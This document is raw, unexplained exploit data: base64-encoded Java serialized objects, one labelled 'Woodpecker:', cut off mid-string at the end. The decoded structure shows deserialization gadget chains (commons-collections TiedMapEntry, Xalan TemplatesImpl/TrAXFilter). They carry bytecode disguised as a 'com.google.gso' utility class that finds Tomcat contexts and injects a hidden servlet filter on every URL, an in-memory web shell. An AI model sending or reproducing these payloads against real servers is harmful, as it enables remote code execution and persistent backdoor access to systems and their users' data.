BZU1o0NDZOYXdYV2RablVVNE1kSTRGOWdJUDNKVnU3R1RlVFZxQkxRUnEvUk12WXlCb2pYa3RmdDZOalFXK2t0eVB5NHAzRWZ0YjRqbUxkZm16ajJGS3dmUTFtOVBYbWNubnY4MGVTeDArUzNFNmZPLytVNThxYUs0UXg1NTVlMXh1Z3cxcUZ2dXFBTit5dGsrYTl4OUxkWVhQMGRYQUYvajByL0Ird0xmNFl3LzRnMC9kT1dDUjNFR3BkU3RJQ3JHT3pJbXpYS2oyeFJmbVJPK1JLV1VMU1Uyck5WMzJvemFEZ3pIOXNQQzcra29qMloxcEUzNlRmWlE3S08wRDlWbUxQbnhUbHFsd2VPR3FpWFVBL0JKTGd0eW1YTkMzNmhFWGZsREpLOGEwN0lBZkp1alpCdDEzMFFMZk4yK20zRURQdWVxN1FPRXVDWm8xK0Zrdy9BeWxHc1FrK0Jqb3B5WTVGc0xLMHZZdlc2OURRMDFwZWZncGNmZXhwOFdGMlFqMjNvRmh6NncvcDFIY2FxRSt1NnczckxhZkp4bFBydlBnRHI4OWZmZS9KOXNGOGJieXpSd0tYSHdQV05VN0M2dm13NFJvdmlwVlBuSDZhMURtcG5ZL25VK1EvU1UxYlB3VWVvamo3OTVmVWxXakhQaUxwbWZZbGdRUGpob3hzNnJVblNuU2FQbmlHUEljelIzYWExZGtMR3pQQVIrSUJXNVQ4SWo4TVhNTmMrT1BjZGtUYThtSEd1d0Z4ekZUWVQxMkpnZmhGWmhOdkpNcGd3ZXQ5QjlOZ2U3VVVwcmNBcjhMMUo5Z05QRG9CTTFtQkFMb01SdVJ4ZWcrT1Q1QXE0bnh5R3Q1T3I0TjFZVVg2QVhBTWZJOWRpTHI4T2MvV05tSk52d3R4OHM2YVpLYXJmQ2xZdC9Pb3hNRHZJZThoN1VRTWovRTJRMzhIbko5QWNFdVFCSEgxcGE0UjYyVEtxWithNnBLUDNrZmRybW42R2ZJQjhFTG02QWs1cmhyYUlCdms0K1JEVzhVdkk0eVBrUVp4YjFrek5DQWNPK05EU25xV0o2NlFPdm8zUGY0V3JkT1RENU5qUFlXbVBIclBsUi9idHordmd3UU1oZkZ3YzdjbG50eTVCWHFRZERiRDNIT3pCVVBaNDZUSHRsdVE2TGZyUnBkdHg0MUdBL3c5NmppOVIzVGdBQUE9PQgAnQAhACcACwAAAAIACAAoACkAAAAIACoAKQAAAAQAAQArACwAAQAtAAAALwABAAEAAAAFKrcAAbEAAAACAC4AAAAGAAEAAAAKAC8AAAAMAAEAAAAFADAAmgAAAAkAMgAzAAIALQAAAUoABgAFAAAAeAFNEgK4AANMKxIEAbYABSsBtgAGTi22AAcSCAS9AAlZAxIKU7YABS0EvQALWQMqU7YABsAADMAADE2nADxOEg64AANMK7YADzoEGQS2AAcSEAS9AAlZAxIKU7YABRkEBL0AC1kDKlO2AAbAAAzAAAxNpwAFOgQssAACAAIAOgA9AA0APgBxAHQADQADAC4AAAAyAAwAAAA9AAIAPwAIAEAAFQBBADoASQA9AEIAPgBEAEQARQBKAEYAcQBIAHQARwB2AEoALwAAAEgABwAVACUANAA1AAMACAA1ADYANwABAEoAJwA0ADUABABEADAANgA3AAEAPgA4ADgAOQADAAAAeAA6ACkAAAACAHYAOwA8AAIAPQAAACoAA/8APQADBwA+AAcADAABBwA//wA2AAQHAD4ABwAMBwA/AAEHAD/6AAEAQAAAAAQAAQANAAkAQQAsAAEALQAAAB4AAQAAAAAABhKeswCcsQAAAAEALgAAAAYAAQAFAE4ACABCACwAAQAtAAABfQAGAAgAAACuuwARWbsAElmyABO4ABS3ABW3ABZLuwAXWbcAGEwREAC8CE0qLLYAGVk+Ap8ADSssAx22ABqn/+4rtgAbOgS7ABxZA70AHbgAHrYAH7cAIDoFGQW2AAe2ACG2ACESIga9AAlZAxIMU1kEsgAjU1kFsgAjU7YAJDoGGQYEtgAlGQYZBQa9AAtZAxkEU1kEA7gAJlNZBRkEvrgAJlO2AAbAAAk6BxkHtgAPV6cABEuxAAEAAACpAKwADQADAC4AAAA6AA4AAAARABUAEgAdABMAIwAVAC4AFgA4ABgAPgAZAFEAGgB4ABsAfgAcAKMAHQCpADgArAA3AK0AOQAvAAAAUgAIABUAlABDAEQAAAAdAIwARQBGAAEAIwCGADoAPAACACoAfwBHAEgAAwA+AGsASQA8AAQAUQBYAEoASwAFAHgAMQBMAE0ABgCjAAYATgA3AAcAPQAAAB0ABP4AIwcATwcAUAcADPwAFAH/AHMAAAABBwA/AAAAdXEAfgAbAAABC8r+ur4AAAA0ABEBAC9vcmcvYXBhY2hlL3hlcmNlcy9jb2xsZWN0aW9uczQvbWFwL0RlZmF1bHRlZE1hcAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQARRGVmYXVsdGVkTWFwLmphdmEBABBzZXJpYWxWZXJzaW9uVUlEAQABSgVx5mnuPG1HGAEADUNvbnN0YW50VmFsdWUBAAY8aW5pdD4BAAMoKVYMAAwADQoABAAOAQAEQ29kZQAhAAIABAAAAAEAGgAHAAgAAQALAAAAAgAJAAEAAQAMAA0AAQAQAAAAEQABAAEAAAAFKrcAD7EAAAAAAAEABQAAAAIABnB0AAFhcHcBAHh2cgA3Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVHJBWEZpbHRlcgAAAAAAAAAAAAAAeHB1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AARudTJyeA
Woodpecker:
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAOGnK/rq+AAAAMQG0AQAcY29tL2dvb2dsZS9nc28vcy9SZWZsZWN0VXRpbAcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQACLyoIAAgBAAxnZXRDbGFzc05hbWUBACRvcmcuYXBhY2hlLkNvbnRleHRMb2FkZXJHb2Zyc2FGaWx0ZXIIAAsBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADwEAEGphdmEvbGFuZy9TdHJpbmcHABEBEGRINHNJQUFBQUFBQUFBSjFZQ1hoY1ZSWCs3OHhrM21ReTNUSjBtYVlicGNza2syVFNOaTF0dXRBa0xUUTJrNWFtdEtZRjVHWHlra3c3bVptOGVaTTJ1T0NDZ3JpaXVLQll0WXAxUVN3dFRCb3FVRGRRRUJGQlFVVGM5d1ZSVVZFay92ZTlONU5KSm1uNytTVjU5NzU3ei9LZmM4ODU5N3c4L01xOTl3TllJWm9GbGlUMW5yQ2FVcU85V3JnNW1UQzB3MFpyVXUzUzlNdVMzWHBhdlRRV056UmRnUkNZZVVBZFVNTnhOZEVUYm82cjZiUkZwc0FwY0lIY09oeE9hL3BBWERQQ09hWVNBZmVHV0NKbWJCSndCaXYzQ0xpYWsxMmF3TFRXV0VKcnkvUjFhdnB1dFRQT2xmTFdaRlNONzFIMW1IeTNGMTFHYnl3dHNLejFmREN1OTBHQnh3c1hwZ3JNRGJaT2lIYTlCQ0d1RlpnOXliNFVNbDBLOFpObWxLVGQwR09KbnFaTUxHNmFQTk9MV1ZLTkswVk9DWDQ4SmVYTVFhQVVEc3lsRDlSVVNrdDBDZFFFaXdrcmk1WnNMUlF4RC9PbG9nWDAza0Z0MElkRmxzZ0xCVHhHMGlLbTc0UEZJc2g3RVpaSTNxWGs3ZXRhVFNlZWwyNHlMa2ZRU3lXVmNtYXFDOUZqbC9QNGcvdWJLc2Q3YmIyQUk5ckp4LzRtZ2JJdXJadm5hbTdRZTZSdmFTbm04R0VGVmtvUHI2TGN3d0lLNmZaVlNuNy9LT25XdzFFdFpjU1NDUVVYa3l4SzlhMVdqRVgxd1pTUkREZkhVcjMwRVk5Z1FOWHJjOXZqbUxrdGlFVDA4VytmZ2pwYnhUZ2hDaG9GcHJRYmF2UmdSRTNab2VkczNOcnV3UllhMWFNWkxZbTBvU2FpWEs2YzFJdmprZmx3S1M3em9nbmJCQmFPSVVpbnRHaTRYWXZxbXJGZEcyem5tNEpYQ1V3ZkwxaEJLdythNnBzR0RZMW11SUwwa2c5dDJPRkZCRHN0RDA4QVo0K000VjFlYkVjN21XVDZTZElXaXpLdFJUTjZ6QmdNVTdWSmVnWDJTSlI3ZVJCZHlVdGpDVFhPZ0pWSExYVjFZSi9jM0M4d2Z4eDdSRXVuMVI1dFM2eEhTeHYwczVQVzhCblpzdHFEMXdoVW5JVmFnU3F3WXZKd25FU0hkR2pVaTA0d2tkeHhMZEZqOUpwVnBjV0hidlJJbC9EZG5VbDFxWVptUlJXamp3WWV3RUhKRmJlclZMaFBOWHJEVGJHZUZ0YVJIbm42Q2JKMW1UcDhTRW5uZHFKZitxQ0ZUakI5bWZZaUNVTm1RTXNrcVRZZ0tRNHhXSXprRmN4MXZWbE5hejRNeWhTTWdOWEcxOG1GTmZWYkUxR3ovTTBhbDBxMkpLSzJLUFN4SldWSDV3RXRLcDNzdHNRSXpKZ2dEMlVpckdFbWRqSlVTZ2JVZUVhelk2bzJZOFRpdFUwbXF3ZHZaZlVkeDZ6Z0JxcnVUdXB0YWgrWmxwNmpVdVRTK08yNHlZc2I4UTRCTDRQVVJ1N0J1d2grZnhHNWd2Y0lsSkl1b2htOVNSN2g1Z20wRkxNVjZ0VzE3amo5RUxZa0VNRE5lSjhFOEg2bTlmNWlkeW40Z01DY3lkZ1ZmSWorakNVR2tnZHA4cnBnTWY4RUlpdUxsM3k0RlIveDRzUDQ2SmdNdG5ZVmZNektZTHNrK29NVCtmSGorSVFYUi9CSmdhbWE2Y1RkZG0zMzRGT01sWFFtVWRzWFMwZHJteHJidCtaaWlINituZUdXMEE2TjFxYXhGMEVlM3pGOFZucnBjelRYRXUvQkYzaGsrU0pKWEI2WitmSU9GZGdmYkIxN2w3ZGI0eTZ0UHlPemNMTGRkSXFTdFBIYmx0VG1YaldXTUcvZVJhUDRMTnhHVEpVWUNzcjk4YkZVOGJqV284WWJvMUhXZ2dLcUU2em8zZnlqMllWSHQ4czY0OWlBdG9OWk9GYTB6QjlWMTNka21Na0xMWjVZTWl4cmE2T3VxNE5jVDJVTU9sNVQrMlFtcHFtUVhFUXp6cVpldzBpRnQvSFJibEhJMUdQTllVMmJtaDdqSzRFRlovY2xNekU5MW44NVpKTTdtTGtkbGU1a2lUMkxyNGxmejRGWVBqbitjV2c4ZWg3RytDZ29ac3JqbVhjMkd4VTh5THZqckNZcCtLWkFZRkpiRkR6TWtuUmVKaWo0TnZ1Yzh3T3U0RHM4bjdPZnJJTHYydUFualJRRjM3TlZuanNBRlR6SnZPdlZaSjhwSzYwUFA3QWFyS2VzeXJqTjNQSGhod2lXNFZFOHcveTJpUGZJWXU3RHN4YjFqM2xRVVRiQjlBMVR0MkpNbzl1cjZ1M1NGNndINnl2MytmQVQvRlRlUUQrelNuUjdMcVFYQnl2UEZkUSsvQUsvbERCK3hkdUx2RHRWblpBTmllODNGcjdmNXErMUxWcnVXcHZnNHBCdHhPL3hCOWxTL3RHSDFWZ2paMzltZ0tiVXdUaDdiZy8rWW1sb05NalJtWkdYOTdsNjFYeHQreXYrVm9iSDhYZm1YcTdLV24wOEk2cTQxdVpiL0gvZ243SWsva3RDOGZ0UWcxbzUrdzl4cE1mZ1dENEJqZ2x1QlRZSi84VXJFc2dJSFozS2VTcnRFVUk2YXNTTEo4eHZrb0l3eWJEeTlXbWpvU0g0cVRTblVOdnVYajE1U0xhaVZqOG5GSzl3QzQrczRmMFpOWjZXemNnRVNQYjVoRmVVOFRZUlBpdW05cktSa3Q2WW5mTUdBM2tuN2JBMzF2dkVWREd0REkrSjZhUlBaenJUOWtmRnJHRExoTDJPS0JkK1JwUzRJTmV0ajVXbmlGa3NVSWZrZkJ6QzBlWlV6QkVCcjVndDVzcExiNm5aTStWVHl5Zm15d2JzQ2JIQWg5Zmg5VHdWc1lnNlpYOFZFWXZ6VGNQL2V6dEpWOTRwbHBUaEViRzBLUHR0NG9JeldWNWdaTXVPZ28xS1dZWGo2clhYeXFaWnN6czIyWC94Tzh0SkZ4YmYybGFLNkI0UlpwQlpMRTJaN202NXNzSkt6anpGS3RtT21pOGVRWGtMeDV0czE4WmtvanZXWTE2cXZ1NkNGZGJqczlHYmdJa3dPY2dxc2lFYU56L09QWmpENW1WVmRJMVcxN2xXWFJkZHNYcmx5bnJWSXphU21nVk4weVdzUzhqUW5EcVVNbm9POVh0RUl5NWt4cmhBckNoQnFmeFVCT0NSSDczbXVNZ2NoYXh3NXZpc09aWnh4bTkwUGt2NTFrZ0pncU8vYWdqVHF2eGk4ejE0bWtQVFBYanVMaTQ3NE9WVEppWW9ycHdLeXpqeldTd2NwNWlDK2JWdWk0dVRVdExXVllXR2NNRlllYWN4cTJNSXMwK2dJb3VGSjdDWXp5eVduVUxWU1ZTUDZwb0tKNTlMS0gwcHdsaG02cHRseWJUMXlka01ZbUhuSWF1R3JYa2pIU0dwU3F0Q3p0RDlRNmcvbmhmcE51RldGb2dxellzcXBaSTZVeFNyb2kzcUtYSzRPSWJLdDU1Q1Mxdk52RnVodUk3QlZYSWEyenRNNEplWGJ4M0M3aXhlWFJQSzRzcmpiZUs0cVlKZjdWaEwvRjVUVVFtZllZcXF3MkorYlFleGtoQldtU0RxdWVmbTZqbzBrTHFTa05aamcybDNLQThzUkl2cVRLa2hiTUlscEdubW5GUWptQWFYQW9lQ3pVTGhkNkY4akhDcmNJMlRKakdDMlhEYWk1SnFyUmtpUWR0STJtTnFyQk90NWRlY2doYXBycUpkVGo1aVdmU2RSckxEVloyRlBvVE05T2xaSE03aXRhMWtpWVNrcFE1VTBmTTVTeGZ3L01FM0I2M3gwSktaUkZsRnpEVzBvSmJJeTh6WWNYSnZNVmV2c3M5eW94bU1EbEpjelprd3JmUERNVUkySW83dzE4Sk1zQ3hDSkNSbzBXSkdPbkNZb045MkN1K01WSmUvVzV6QmU3TzRwWnJqQjdPNHJhMG1pNlBsbjNiZGh4czduT1diMjdsVnc1Y2pIYzRxem04N2d3anRXTmRXL2htVFBZdlBON2dDTHNseVJ5Rkx3RlhFVTlMZ292RXl2RGRpTTRFMW9oOUczZ2tyZVhDZ0VRNStJSHR3R1Nxd2pYUTdTZGxDeXUxY2FhVkZFZkxzSUZjYkJuQzU2Wmh0ZEY0RkhmTUdYR2U2YUMzZWlEZFJTb1FwSU5kYzVLeXgxeG9abzIrMkErVXcza0luU2djTzRQcThBeXRsZUd3Mmp6em53QkhHbk10K2wvNlVheStSL0lzeVpEaHlCWGZpUzVhREhYZlF2WVFsNW9YTzRORUdWL1VaUE5aUUVuQlYzWTJuaC9FakJ4N0U4d1Z2bkR5WHhjOXZ4VE1CMXpCK0xkRGdyZ3E0bU9ERCtKMERXZnlwUWFrS0tNNHNubTlRQXU3eUY0YnhvZ01QWWJHY240YWpnOEYyTkl1WGh2RHZnSkxGeThNczNJekxtd0l1djNBRWxHSGhkT0kwbnVnWUVxNEdUNTcvREc2VXAxWjZETk1hdktlRnV5UGdIUktsRHdSS0E1NnNtTEtYbzhzY1M0YkZESUVUcUhZeWdNWE1yS2dJbEdiRnZOeEdsU1JmeUpOLy9wUzRVRzdtNlNYNVJWdzVockthVVBXd1dDWkJUV2x3NTE3dUlzcWJjUlMzYzJhTkp5R3Y4Qm41WURpQXVYenVZYkR1aGZ6L1RSajd1TGVmaDMwbGovMHEvbHpOb0w2RzNZOUtDVjJVMFVNcEd0VjBVMll2aG5FUVgyRXRmUko5ZUFZSnZJQ2tjRUlYYnFURlZCeWlwb3p3WTBCVVlOQU1vdXRaTTQ1Uzk5ME1tRkpLOGVJZWV0OUwyVHFHY0lwaGRSZDIyYnRyOFFqbDMwdHMyK2pjMHd3aWhiSTg1TmpBTlo1OHJnSng5bVhjSnlzUVovZmpBWm0zbkowaE1pZmNZaGEraXE4eGdueGlPcjZPYnpCdW1zMzY3eG1oYVI2ejdEeWs0RnNLSGxId3FJTEhGRHpPS0FSR1dJRktKOXRXMktReFFMLy9Nc29VSEJtaHM5ekZwQXhUcFlsUlhHckdzSnZ0U1ZCVUVTY2JYQ3VLOGFKZEp2cjlvczVNYzc5WWFXZDNSR2EzVEhzcnYwTldmbS9tNy9HSVdWTGFhdnlpM25tZkRMSmJCTWNqSkxCTGhGK3NLWlNTcXhHRk1zeUNYVjFRSE9kS3A3SitLY3ptR2g1QUxYTzVudG5jd2t5V1I3ZUord3FXaVpDWjRmWFlhTTZjM0ErS2FqUC9hOUVzYW5nNHNtejI1NitIZmxHYnozcmViMzB5dFF0VCtncHhzZTJNMVdhVjRObU4zckhXaFhoRHdZVW84b0tGV0N2V2pkWUh3ZnRDTk9UYmhaQkpPNEd3bXdvYWc1d3dqMWlmWjl4cXFtR0Y4b3NOSjFIaEY1dE9Zdkc1T2dLUjd6NThtTSs0V1FEOER4c1MzL2MyR1FBQQgAEwEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAFQAWCgASABcBAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAaAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEABHRoaXMBAB5MY29tL2dvb2dsZS9nc28vcy9SZWZsZWN0VXRpbDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAOamF2YS91dGlsL0xpc3QHACcBABJqYXZhL3V0aWwvSXRlcmF0b3IHACkBAA1TdGFja01hcFRhYmxlDAAVABkKAAQALAEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsMAC4ALwoAAgAwAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7DAAyADMLACgANAEAB2hhc05leHQBAAMoKVoMADYANwsAKgA4AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAA6ADsLACoAPAEACWdldEZpbHRlcgEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAA+AD8KAAIAQAEACWFkZEZpbHRlcgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgwAQgBDCgACAEQBAARrZXkxAQAIY2hpbGRyZW4BABNMamF2YS91dGlsL0hhc2hNYXA7AQADa2V5AQALY2hpbGRyZW5NYXABAAZ0aHJlYWQBABJMamF2YS9sYW5nL1RocmVhZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHAFABABBqYXZhL2xhbmcvT2JqZWN0BwBSAQAQamF2YS9sYW5nL1RocmVhZAcAVAEAEWphdmEvdXRpbC9IYXNoTWFwBwBWAQATamF2YS91dGlsL0FycmF5TGlzdAcAWAoAWQAsAQAKZ2V0VGhyZWFkcwgAWwEADGludm9rZU1ldGhvZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DABdAF4KAAIAXwEAB2dldE5hbWUMAGEABgoAVQBiAQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcggAZAEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABmAGcKABIAaAEABnRhcmdldAgAagEABWdldEZWDABsAF4KAAIAbQEABnRoaXMkMAgAbwgARwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7DAByAHMKAFcAdAEADWphdmEvdXRpbC9TZXQHAHYLAHcANAEAA2dldAwAeQA/CgBXAHoBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMAHwAfQoAUwB+AQAPamF2YS9sYW5nL0NsYXNzBwCACgCBAGIBAA9TdGFuZGFyZENvbnRleHQIAIMBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAIUAhgsAKACHAQAVVG9tY2F0RW1iZWRkZWRDb250ZXh0CACJAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAiwCMCgBVAI0BAAh0b1N0cmluZwwAjwAGCgCBAJABABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyCACSAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcggAlAEACXJlc291cmNlcwgAlggAIAEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uBwCZAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWDAAVAJsKAJoAnAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCeAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAoAEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HAKIBAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKYBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAsAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAsgCzCgBVALQBAA5nZXRDbGFzc0xvYWRlcgwAtgCMCgCBALcMAAoABgoAAgC5AQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAuwC8CgCxAL0MAA0ABgoAAgC/AQAMZGVjb2RlQmFzZTY0AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgwAwQDCCgACAMMBAA5nemlwRGVjb21wcmVzcwEABihbQilbQgwAxQDGCgACAMcIAKoHAKkBABFqYXZhL2xhbmcvSW50ZWdlcgcAywEABFRZUEUMAM0ArQkAzADOAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DADQANEKAIEA0gEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAcA1AEADXNldEFjY2Vzc2libGUBAAQoWilWDADWANcKANUA2AEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DADaANsKAMwA3AEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA3gDfCgDVAOABAAtuZXdJbnN0YW5jZQwA4gA7CgCBAOMBAA1nZXRGaWx0ZXJOYW1lAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxsYXN0RG90SW5kZXgBAAFJAQAJY2xhc3NOYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQABLggA6wEAC2xhc3RJbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDADtAO4KABIA7wEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwwA8QDyCgASAPMBAAlmaWx0ZXJEZWYBAAlmaWx0ZXJNYXABAAJlMgEADGNvbnN0cnVjdG9ycwEAIFtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVyQ29uZmlnAQANZmlsdGVyQ29uZmlncwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAKZmlsdGVyTmFtZQEAI1tMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I8Kj47BwD5AQARZ2V0Q2F0YWxpbmFMb2FkZXIMAQIAjAoAAgEDDADlAOYKAAIBBQEADWZpbmRGaWx0ZXJEZWYIAQcBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAF0BCQoAAgEKAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJEZWYIAQwBAAdmb3JOYW1lDAEOALwKAIEBDwEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyTWFwCAERAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyRGVmCAETAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyTWFwCAEVAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwwBDgEXCgCBARgBAA1zZXRGaWx0ZXJOYW1lCAEaAQAOc2V0RmlsdGVyQ2xhc3MIARwBAAxhZGRGaWx0ZXJEZWYIAR4BAA1zZXREaXNwYXRjaGVyCAEgAQAHUkVRVUVTVAgBIgEADWFkZFVSTFBhdHRlcm4IASQMAAUABgoAAgEmAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCAEoAQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7DAEqASsKAIEBLAEADXNldFVSTFBhdHRlcm4IAS4BABJhZGRGaWx0ZXJNYXBCZWZvcmUIATABAAxhZGRGaWx0ZXJNYXAIATIBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgcBNAoBNQDYAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DADiATcKATUBOAgA+wEADWphdmEvdXRpbC9NYXAHATsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBPQE+CwE8AT8BAA9wcmludFN0YWNrVHJhY2UMAUEAGQoAGwFCAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAUQBACBqYXZhL2xhbmcvSW5zdGFudGlhdGlvbkV4Y2VwdGlvbgcBRgEAAWkBAAxkZWNvZGVyQ2xhc3MBAAdkZWNvZGVyAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggBTgEADGRlY29kZUJ1ZmZlcggBUAEACWdldE1ldGhvZAwBUgDRCgCBAVMBABBqYXZhLnV0aWwuQmFzZTY0CAFVAQAKZ2V0RGVjb2RlcggBVwEABmRlY29kZQgBWQEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBZAEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAWYBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBaAoBZQAsAQAFKFtCKVYMABUBawoBZwFsAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAVAW4KAWkBbwEABHJ